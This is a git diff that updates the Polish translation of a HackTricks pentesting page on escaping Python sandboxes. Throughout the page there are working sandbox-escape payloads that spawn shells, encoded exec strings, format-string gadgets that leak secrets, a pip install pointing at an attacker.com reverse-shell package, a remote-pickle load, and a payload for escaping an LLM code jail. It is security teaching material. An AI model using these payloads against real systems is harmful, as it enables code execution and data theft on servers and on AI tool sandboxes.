Translated ['src/windows-hardening/active-directory-methodology/acl-pers

2025-10-10 18:36:50 +00:00 · 2025-08-28 12:44:49 +00:00 · 2025-08-28 12:44:49 +00:00 · 0c7aa1fb1a
commit 0c7aa1fb1a
parent b73d5ee3a5
6 changed files with 427 additions and 430 deletions
--- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
+++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
@ -2,11 +2,11 @@

 {{#include ../../../banners/hacktricks-training.md}}

-Oto kilka trików pozwalających obejść zabezpieczenia Python sandbox i wykonać dowolne polecenia.
+Oto kilka trików umożliwiających obejście zabezpieczeń python sandboxes i wykonanie dowolnych poleceń.

 ## Biblioteki do wykonywania poleceń

-Pierwsza rzecz, którą musisz ustalić, to czy możesz bezpośrednio wykonać kod za pomocą jakiejś już zaimportowanej biblioteki, albo czy możesz zaimportować którąkolwiek z poniższych bibliotek:
+Pierwsza rzecz, którą musisz wiedzieć, to czy możesz bezpośrednio wykonać kod przy użyciu już zaimportowanej biblioteki, albo czy możesz zaimportować którąś z tych bibliotek:
 ```python
 os.system("ls")
 os.popen("ls").read()
@ -39,11 +39,11 @@ open('/var/www/html/input', 'w').write('123')
 execfile('/usr/lib/python2.7/os.py')
 system('ls')
 ```
-Pamiętaj, że funkcje _**open**_ i _**read**_ mogą być użyteczne do **odczytywania plików** wewnątrz python sandbox oraz do **napisania kodu**, który można **wykonać**, aby **obejść** sandbox.
+Pamiętaj, że funkcje _**open**_ i _**read**_ mogą być przydatne do **czytania plików** wewnątrz python sandbox i do **zapisania kodu**, który możesz **wykonać**, aby **bypass** the sandbox.

-> [!CAUTION] > **Python2 input()** funkcja pozwala na wykonanie kodu python zanim program ulegnie awarii.
+> [!CAUTION] > **Python2 input()** function allows executing python code before the program crashes.

-Python próbuje **ładować biblioteki najpierw z bieżącego katalogu** (następujące polecenie wyświetli, skąd python ładuje moduły): `python3 -c 'import sys; print(sys.path)'`
+Python próbuje **ładować biblioteki najpierw z bieżącego katalogu** (następujące polecenie wydrukuje, skąd python ładuje moduły): `python3 -c 'import sys; print(sys.path)'`

 ![](<../../../images/image (559).png>)

@ -51,9 +51,9 @@ Python próbuje **ładować biblioteki najpierw z bieżącego katalogu** (nastę

 ### Domyślne pakiety

-Listę **wstępnie zainstalowanych** pakietów znajdziesz tutaj: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
-Zauważ, że z pickle możesz spowodować, że python env **import arbitrary libraries** zainstalowane w systemie.\
-Na przykład, następujący pickle, po załadowaniu, zaimportuje bibliotekę pip, aby jej użyć:
+Możesz znaleźć **listę preinstalowanych** pakietów tutaj: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
+Zauważ, że z poziomu pickle możesz sprawić, że środowisko python **zaimportuje dowolne biblioteki** zainstalowane w systemie.\
+Na przykład, poniższy pickle, kiedy zostanie załadowany, zaimportuje bibliotekę pip, aby jej użyć:
 ```python
 #Note that here we are importing the pip library so the pickle is created correctly
 #however, the victim doesn't even need to have the library installed to execute it
@ -66,32 +66,32 @@ return (pip.main,(["list"],))

 print(base64.b64encode(pickle.dumps(P(), protocol=0)))
 ```
-Aby uzyskać więcej informacji o tym, jak działa pickle, zobacz: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
+Aby uzyskać więcej informacji o tym, jak działa pickle, zobacz to: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)

-### Pip package
+### Pakiet pip

-Sztuczka udostępniona przez **@isHaacK**
+Trik udostępniony przez **@isHaacK**

-Jeśli masz dostęp do `pip` lub `pip.main()` możesz zainstalować dowolny pakiet i uzyskać reverse shell wywołując:
+Jeśli masz dostęp do `pip` lub `pip.main()`, możesz zainstalować dowolny pakiet i uzyskać reverse shell wywołując:
 ```bash
 pip install http://attacker.com/Rerverse.tar.gz
 pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
 ```
-Możesz pobrać pakiet do stworzenia reverse shell tutaj. Zwróć uwagę, że przed użyciem powinieneś **rozpakować go, zmodyfikować `setup.py` i wpisać swój IP dla reverse shell**:
+Możesz pobrać pakiet do stworzenia reverse shell tutaj. Pamiętaj, że przed użyciem powinieneś **rozpakować go, zmienić `setup.py`, i wstawić swój IP dla reverse shell**:

 {{#file}}
 Reverse.tar (1).gz
 {{#endfile}}

 > [!TIP]
-> Ten pakiet nazywa się `Reverse`. Został jednak specjalnie przygotowany tak, że gdy zamkniesz reverse shell reszta instalacji się nie powiedzie, więc **nie zostawisz żadnego dodatkowego pakietu python zainstalowanego na serwerze** po odejściu.
+> Ten pakiet nazywa się `Reverse`. Jednak został specjalnie przygotowany tak, że gdy zakończysz reverse shell reszta instalacji się nie powiedzie, więc **nie pozostawisz zainstalowanych żadnych dodatkowych python package na serwerze** po zakończeniu.

-## Używanie eval w pythonie
+## Eval-ing python code

 > [!WARNING]
-> Zwróć uwagę, że exec pozwala na wieloliniowe stringi i ";", ale eval tego nie robi (sprawdź walrus operator)
+> Zwróć uwagę, że exec pozwala na wieloliniowe stringi i ";", ale eval nie (sprawdź walrus operator)

-Jeśli niektóre znaki są zabronione, możesz użyć reprezentacji **hex/octal/B64**, aby **bypass** ograniczenia:
+Jeśli pewne znaki są zabronione możesz użyć reprezentacji **hex/octal/B64** aby **bypass** ograniczenia:
 ```python
 exec("print('RCE'); __import__('os').system('ls')") #Using ";"
 exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
 exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
 ```
-### Inne biblioteki, które umożliwiają eval kodu python
+### Inne biblioteki, które pozwalają na eval python code
 ```python
 #Pandas
 import pandas as pd
@ -126,15 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
 # Like:
 df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
 ```
-Zobacz także rzeczywisty przypadek sandboxed evaluator escape w generatorach PDF:
+Zobacz też rzeczywisty przykład ucieczki z sandboxowanego evaluatora w generatorach PDF:

- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Wykorzystuje rl_safe_eval, aby dostać się do function.__globals__ i os.system z ocenianych atrybutów (na przykład kolor czcionki) i zwraca prawidłową wartość, aby renderowanie pozostało stabilne.
+- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Wykorzystuje rl_safe_eval do dotarcia do function.__globals__ i os.system z ocenianych atrybutów (np. kolor czcionki) i zwraca prawidłową wartość, aby utrzymać stabilne renderowanie.

 {{#ref}}
 reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
 {{#endref}}

-## Operatory i szybkie sztuczki
+## Operatory i krótkie sztuczki
 ```python
 # walrus operator allows generating variable inside a list
 ## everything will be executed in order
@ -143,9 +143,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
 [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
 ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
 ```
-## Omijanie zabezpieczeń przez kodowania (UTF-7)
+## Omijanie zabezpieczeń za pomocą kodowań (UTF-7)

-W [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 jest używany do załadowania i uruchomienia dowolnego kodu python wewnątrz pozornego sandboxa:
+W [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 jest używany do ładowania i wykonywania dowolnego kodu python wewnątrz pozornego sandboxu:
 ```python
 assert b"+AAo-".decode("utf_7") == "\n"

@ -156,13 +156,13 @@ return x
 #+AAo-print(open("/flag.txt").read())
 """.lstrip()
 ```
-Można go również obejść, używając innych kodowań, np. `raw_unicode_escape` i `unicode_escape`.
+Można to również obejść, używając innych kodowań, np. `raw_unicode_escape` i `unicode_escape`.

-## Wykonywanie w Pythonie bez wywołań
+## Wykonywanie kodu Pythona bez wywołań

-Jeśli znajdujesz się w python jail, który **nie pozwala na wykonywanie wywołań**, nadal istnieją sposoby na **uruchamianie dowolnych funkcji, kodu** i **poleceń**.
+Jeśli znajdujesz się w python jail, który **nie pozwala na wykonywanie wywołań**, nadal istnieją sposoby, by **wykonać dowolne funkcje, kod** i **polecenia**.

-### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator)
+### RCE z użyciem [decorators](https://docs.python.org/3/glossary.html#term-decorator)
 ```python
 # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@ -186,11 +186,11 @@ class _:pass
 ```
 ### RCE creating objects and overloading

-Jeśli możesz **declare a class** i **create an object** tej klasy, możesz **write/overwrite different methods**, które mogą zostać **triggered** **without** **needing to call them directly**.
+Jeśli możesz **declare a class** i **create an object** tej klasy, możesz **write/overwrite different methods**, które mogą być **triggered** **without** **needing to call them directly**.

 #### RCE with custom classes

-Możesz zmodyfikować niektóre **class methods** (_by overwriting existing class methods or creating a new class_) tak, aby **execute arbitrary code** gdy zostaną **triggered** bez wywoływania ich bezpośrednio.
+Możesz zmodyfikować niektóre **class methods** (_by overwriting existing class methods or creating a new class_) tak, aby **execute arbitrary code** gdy są **triggered**, bez bezpośredniego wywoływania.
 ```python
 # This class has 3 different ways to trigger RCE without directly calling any function
 class RCE:
@ -240,9 +240,9 @@ __iand__ (k = 'import os; os.system("sh")')
 __ior__ (k |= 'import os; os.system("sh")')
 __ixor__ (k ^= 'import os; os.system("sh")')
 ```
-#### Tworzenie obiektów z [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
+#### Tworzenie obiektów z użyciem [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)

-Najważniejsze, co umożliwiają metaclasses, to **utworzenie instancji klasy bez bezpośredniego wywoływania konstruktora**, poprzez stworzenie nowej klasy, która używa docelowej klasy jako metaclass.
+Kluczową rzeczą, którą umożliwiają metaclasses, jest **utworzenie instancji klasy bez bezpośredniego wywoływania konstruktora**, poprzez utworzenie nowej klasy, która ma docelową klasę jako metaclass.
 ```python
 # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
 # This will define the members of the "subclass"
@ -257,9 +257,9 @@ Sub['import os; os.system("sh")']

 ## You can also use the tricks from the previous section to get RCE with this object
 ```
-#### Tworzenie obiektów za pomocą wyjątków
+#### Tworzenie obiektów za pomocą exceptions

-Gdy **wyjątek zostanie wywołany**, obiekt klasy **Exception** jest **tworzony** bez potrzeby wywoływania konstruktora bezpośrednio (sztuczka od [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
+Kiedy **exception is triggered**, obiekt typu **Exception** jest **created** bez konieczności wywoływania konstruktora bezpośrednio (sztuczka od [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
 ```python
 class RCE(Exception):
 def __init__(self):
@ -301,7 +301,7 @@ __iadd__ = eval
 __builtins__.__import__ = X
 {}[1337]
 ```
-### Przeczytaj plik z pomocą builtins i licencją
+### Odczytaj plik z builtins help & licencją
 ```python
 __builtins__.__dict__["license"]._Printer__filenames=["flag"]
 a = __builtins__.help
@ -310,22 +310,22 @@ a.__class__.__exit__ = lambda self, *args: None
 with (a as b):
 pass
 ```
-## Wbudowane
+## Funkcje wbudowane

 - [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
 - [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)

-Jeśli masz dostęp do obiektu **`__builtins__`** możesz zaimportować biblioteki (zauważ, że możesz tu również użyć innych reprezentacji tekstowych pokazanych w ostatniej sekcji):
+Jeśli możesz uzyskać dostęp do obiektu **`__builtins__`** możesz importować biblioteki (zauważ, że możesz tu również użyć innych reprezentacji stringów pokazanych w ostatniej sekcji):
 ```python
 __builtins__.__import__("os").system("ls")
 __builtins__.__dict__['__import__']("os").system("ls")
 ```
-### Brak Builtins
+### Brak `__builtins__`

-Gdy nie masz `__builtins__` nie będziesz w stanie importować niczego ani nawet czytać czy zapisywać plików, ponieważ **wszystkie funkcje globalne** (jak `open`, `import`, `print`...) **nie są załadowane**.\
-Jednakże, **domyślnie python importuje do pamięci wiele modułów**. Te moduły mogą wydawać się nieszkodliwe, ale niektóre z nich **również importują niebezpieczne** funkcjonalności wewnątrz siebie, do których można uzyskać dostęp, by osiągnąć nawet **arbitrary code execution**.
+Jeśli nie masz `__builtins__` nie będziesz w stanie importować czegokolwiek ani nawet odczytywać czy zapisywać plików, ponieważ **wszystkie funkcje globalne** (jak `open`, `import`, `print`...) **nie są załadowane**.\
+Jednak **domyślnie python importuje wiele modułów do pamięci**. Moduły te mogą wydawać się niewinne, ale niektóre z nich **importują również niebezpieczne** funkcjonalności wewnątrz, do których można uzyskać dostęp, aby doprowadzić nawet do **arbitrary code execution**.

-W poniższych przykładach możesz zobaczyć, jak można **nadużyć** niektórych z tych "**benign**" załadowanych modułów, aby **uzyskać dostęp** do **niebezpiecznych** **funkcjonalności** w ich wnętrzu.
+W poniższych przykładach możesz zobaczyć, jak **nadużyć** niektórych z tych "**niewinnych**" modułów załadowanych w pamięci, aby **uzyskać dostęp** do **niebezpiecznych** **funkcjonalności** w nich.

 **Python2**
 ```python
@ -367,7 +367,7 @@ get_flag.__globals__['__builtins__']
 # Get builtins from loaded classes
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
 ```
-[**Below there is a bigger function**](#recursive-search-of-builtins-globals) aby znaleźć dziesiątki/**setki** **miejsc**, w których możesz znaleźć **builtins**.
+[**Poniżej znajduje się większa funkcja**](#recursive-search-of-builtins-globals), służąca do znalezienia dziesiątek/**setek** **miejsc**, gdzie można znaleźć **builtins**.

 #### Python2 and Python3
 ```python
@ -409,13 +409,13 @@ class_obj.__init__.__globals__
 [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
 [<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
 ```
-[**Poniżej znajduje się większa funkcja**](#recursive-search-of-builtins-globals) do znalezienia dziesiątek/**setek** **miejsc**, w których możesz znaleźć **globals**.
+[**Poniżej znajduje się większa funkcja**](#recursive-search-of-builtins-globals) do znalezienia dziesiątek/**setek** **miejsc**, gdzie możesz znaleźć **globals**.

 ## Odkrywanie możliwości wykonania dowolnego kodu

 Tutaj chcę wyjaśnić, jak łatwo odkryć **bardziej niebezpieczne załadowane funkcjonalności** i zaproponować bardziej niezawodne exploits.

-#### Dostęp do subclasses z bypasses
+#### Dostęp do subclasses with bypasses

 Jednym z najbardziej wrażliwych elementów tej techniki jest możliwość **dostępu do base subclasses**. W poprzednich przykładach zrobiono to używając `''.__class__.__base__.__subclasses__()` ale istnieją **inne możliwe sposoby**:
 ```python
@ -445,14 +445,14 @@ defined_func.__class__.__base__.__subclasses__()
 (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
 (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
 ```
-### Znajdowanie załadowanych niebezpiecznych bibliotek
+### Wykrywanie załadowanych niebezpiecznych bibliotek

-Na przykład, wiedząc, że z biblioteką **`sys`** można **import arbitrary libraries**, możesz wyszukać wszystkie **modules loaded that have imported sys inside of them**:
+Na przykład, jeśli wiesz, że za pomocą biblioteki **`sys`** można **import arbitrary libraries**, możesz wyszukać wszystkie **załadowane moduły, które zaimportowały sys**:
 ```python
 [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
 ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
 ```
-Jest ich wiele, a **potrzebujemy tylko jednego**, aby wykonać polecenia:
+Jest ich dużo, a **wystarczy nam jeden**, aby wykonać polecenia:
 ```python
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
 ```
@ -491,7 +491,7 @@ Możemy zrobić to samo z **innymi bibliotekami**, o których wiemy, że mogą b
 #pdb
 [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
 ```
-Co więcej, możemy nawet sprawdzić, które moduły ładują złośliwe biblioteki:
+Co więcej, możemy nawet wyszukać, które moduły ładują złośliwe biblioteki:
 ```python
 bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
 for b in bad_libraries_names:
@ -510,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
 pdb:
 """
 ```
-Co więcej, jeśli uważasz, że **inne biblioteki** mogą być w stanie **wywoływać funkcje uruchamiające polecenia**, możemy także **filtrować według nazw funkcji** znajdujących się w tych bibliotekach:
+Ponadto, jeśli uważasz, że **inne biblioteki** mogą być w stanie **wywoływać funkcje wykonujące polecenia**, możemy również **filtrować po nazwach funkcji** w możliwych bibliotekach:
 ```python
 bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
 bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -546,7 +546,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
 ## Rekurencyjne wyszukiwanie Builtins, Globals...

 > [!WARNING]
-> To jest po prostu **świetne**. Jeśli **szukasz obiektu takiego jak globals, builtins, open lub cokolwiek innego** po prostu użyj tego skryptu, aby **rekurencyjnie znaleźć miejsca, gdzie ten obiekt występuje.**
+> To jest po prostu **niesamowite**. Jeśli **szukasz obiektu takiego jak globals, builtins, open lub cokolwiek innego** po prostu użyj tego skryptu, aby **rekursywnie znaleźć miejsca, gdzie możesz znaleźć ten obiekt.**
 ```python
 import os, sys # Import these to find more gadgets

@ -671,7 +671,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-

 ## Python Format String

-Jeśli **wyślesz** **string** do python, który zostanie **sformatowany**, możesz użyć `{}` aby uzyskać dostęp do **python internal information.** Możesz użyć poprzednich przykładów, aby uzyskać dostęp do globals lub builtins, na przykład.
+Jeśli **wyślesz** **string** do python, który ma być **formatted**, możesz użyć `{}` aby uzyskać dostęp do **python internal information.** Możesz użyć poprzednich przykładów, aby uzyskać dostęp do globals lub builtins, na przykład.
 ```python
 # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
 CONFIG = {
@ -691,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
 st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
 get_name_for_avatar(st, people_obj = people)
 ```
-Zauważ, jak możesz **dostępować do atrybutów** w zwykły sposób za pomocą **kropki** jak `people_obj.__init__` oraz **elementu dict** za pomocą **nawiasów** bez cudzysłowów `__globals__[CONFIG]`
+Zauważ, że możesz **uzyskiwać dostęp do atrybutów** w normalny sposób za pomocą **kropki** jak `people_obj.__init__` oraz **elementu słownika** za pomocą **nawiasów** bez cudzysłowów `__globals__[CONFIG]`

-Zwróć też uwagę, że możesz użyć `.__dict__` do wypisania elementów obiektu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
+Zauważ także, że możesz użyć `.__dict__`, aby wyenumerować elementy obiektu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`

-Inne ciekawe cechy format strings to możliwość **wywoływania** **funkcji** **`str`**, **`repr`** i **`ascii`** w wskazanym obiekcie przez dodanie odpowiednio **`!s`**, **`!r`**, **`!a`**:
+Niektóre inne interesujące cechy format strings to możliwość **wywołania** funkcji **`str`**, **`repr`** i **`ascii`** na wskazanym obiekcie przez dodanie odpowiednio **`!s`**, **`!r`**, **`!a`**:
 ```python
 st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
 get_name_for_avatar(st, people_obj = people)
 ```
-Ponadto możliwe jest **code new formatters** w klasach:
+Ponadto, możliwe jest **code new formatters** w klasach:
 ```python
 class HAL9000(object):
 def __format__(self, format):
@ -714,14 +714,14 @@ return 'HAL 9000'
 **Więcej przykładów** dotyczących **format** **string** można znaleźć na [**https://pyformat.info/**](https://pyformat.info)

 > [!CAUTION]
-> Sprawdź także następującą stronę zawierającą gadgets, które r**ead sensitive information from Python internal objects**:
+> Sprawdź również następującą stronę w poszukiwaniu gadgets, które **odczytają poufne informacje z wewnętrznych obiektów Python**:


 {{#ref}}
 ../python-internal-read-gadgets.md
 {{#endref}}

-### Sensitive Information Disclosure Payloads
+### Payloads ujawniające poufne informacje
 ```python
 {whoami.__class__.__dict__}
 {whoami.__globals__[os].__dict__}
@ -739,20 +739,20 @@ str(x) # Out: clueless
 ```
 ### LLM Jails bypass

-Z [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
+From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`

 ### Od format string do RCE poprzez ładowanie bibliotek

-Według [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) możliwe jest załadowanie dowolnych bibliotek z dysku, wykorzystując format string vulnerability w python.
+According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.

-Dla przypomnienia, za każdym razem gdy w pythonie wykonywana jest jakaś operacja, uruchamiana jest pewna funkcja. Na przykład `2*3` wykona **`(2).mul(3)`** lub **`{'a':'b'}['a']`** wykona **`{'a':'b'}.__getitem__('a')`**.
+As reminder, every time an action is performed in python some function is executed. For example `2*3` will execute **`(2).mul(3)`** or **`{'a':'b'}['a']`** will be **`{'a':'b'}.__getitem__('a')`**.

-Więcej takich przykładów znajdziesz w sekcji [**Python execution without calls**](#python-execution-without-calls).
+Więcej podobnych przykładów znajdziesz w sekcji [**Python execution without calls**](#python-execution-without-calls).

-Format string vuln w pythonie nie pozwala na wykonanie funkcji (nie pozwala na użycie nawiasów), więc nie można uzyskać RCE jak `'{0.system("/bin/sh")}'.format(os)`.\
-Jednak możliwe jest użycie `[]`. W związku z tym, jeśli jakaś popularna biblioteka python ma metodę **`__getitem__`** lub **`__getattr__`**, która wykonuje arbitralny kod, można je wykorzystać do uzyskania RCE.
+A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
+However, it's possible to use `[]`. Therefore, if a common python library has a **`__getitem__`** or **`__getattr__`** method that executes arbitrary code, it's possible to abuse them to get RCE.

-Szukając takiego gadgetu w pythonie, autor writeupu proponuje to [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Tam znalazł ten [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
+Szukając takiego gadgetu w pythonie, the writeup purposes this [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Where he found this [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
 ```python
 class LibraryLoader(object):
 def __init__(self, dlltype):
@ -774,20 +774,20 @@ return getattr(self, name)
 cdll = LibraryLoader(CDLL)
 pydll = LibraryLoader(PyDLL)
 ```
-Ten gadget pozwala **load a library from disk**. W związku z tym trzeba w jakiś sposób **write or upload the library to load**, poprawnie skompilowaną dla atakowanego serwera.
+Ten gadżet pozwala **załadować bibliotekę z dysku**. Dlatego trzeba w jakiś sposób **zapisać lub przesłać bibliotekę do załadowania**, poprawnie skompilowaną dla atakowanego serwera.
 ```python
 '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
 ```
-Wyzwanie faktycznie wykorzystuje inną podatność w serwerze, która pozwala tworzyć dowolne pliki na dysku serwera.
+Zadanie w rzeczywistości wykorzystuje inną podatność w serwerze, która pozwala tworzyć dowolne pliki na dysku serwera.

-## Analiza obiektów Python
+## Analiza obiektów Pythona

 > [!TIP]
-> Jeśli chcesz **nauczyć się** o **python bytecode** dogłębnie, przeczytaj ten **świetny** artykuł na ten temat: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
